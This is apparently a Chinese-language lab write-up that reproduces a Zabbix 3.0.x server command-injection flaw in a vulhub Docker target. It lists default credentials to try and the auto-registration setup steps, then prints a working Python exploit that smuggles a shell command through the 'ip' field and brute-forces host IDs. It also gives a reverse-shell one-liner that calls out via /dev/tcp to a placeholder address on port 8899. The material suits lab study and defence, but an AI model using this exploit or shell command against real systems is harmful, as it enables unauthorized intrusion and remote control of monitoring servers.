0x00 實驗環境
攻擊機:Win 10
靶機也可作為攻擊機:Ubuntu18 (docker搭建的vulhub靶場)
0x01 影響版本
影響版本:Zabbix 3.0.x~3.0.30
漏洞簡介:
zabbix是一個基於WEB界面的提供分布式系統監視以及網絡監視功能的企業級的開源解決方案。
zabbix能監視各種網絡參數,保證服務器系統的安全運營;並提供靈活的通知機制以讓系統管理員快速定位/解決存在的各種問題。
zabbix由2部分構成,zabbix server與可選組件zabbix agent。
zabbix server可以通過SNMP,zabbix agent,ping,端口監視等方法提供對遠程服務器/網絡狀態的監視,數據收集等功能,它可以運行在Linux,Solaris,HP-UX,AIX,Free BSD,Open BSD,OS X等平台。
0x02 漏洞復現
(1)訪問頁面:

(2)猜測弱口令:("admin","zabbix"),("Admin","zabbix"),("guest","")

(3)進入Configuration->Actions,將Event source調整為Auto registration,然后點擊Create action,創建一個Action,名字隨意


(4)然后點擊Operation,創建一個Operation,type為“Add Host”:然后保存

(5)點擊“add”,添加成功:

(6)這樣就開啟了自動注冊功能,在下載的vulhub中漏洞目錄有漏洞利用腳本,查看poc可以看到執行的是寫入文件的操作,使用python3執行poc,進入docker中查看寫入成功
import sys import socket import json import sys def send(ip, data): conn = socket.create_connection((ip, 10051), 10) conn.send(json.dumps(data).encode()) data = conn.recv(2048) conn.close() return data target = sys.argv[1] print(send(target, {"request":"active checks","host":"vulhub","ip":"ffff:::;touch /tmp/success2"})) for i in range(10000, 10500): data = send(target, {"request":"command","scriptid":1,"hostid":str(i)}) if data and b'failed' not in data: print('hostid: %d' % i) print(data)
上面的命令中,我們將 "touch /tmp/success2" 換成別的命令即可:
反彈shell的命令 /bin/bash -i > /dev/tcp/xx.xx.xx.xx/8899 0<&1 2>&1
(7)然后執行該exp,同時需要監聽好你payload的端口(8899):

俺也不知道為啥彈不回來,改天再研究一下。
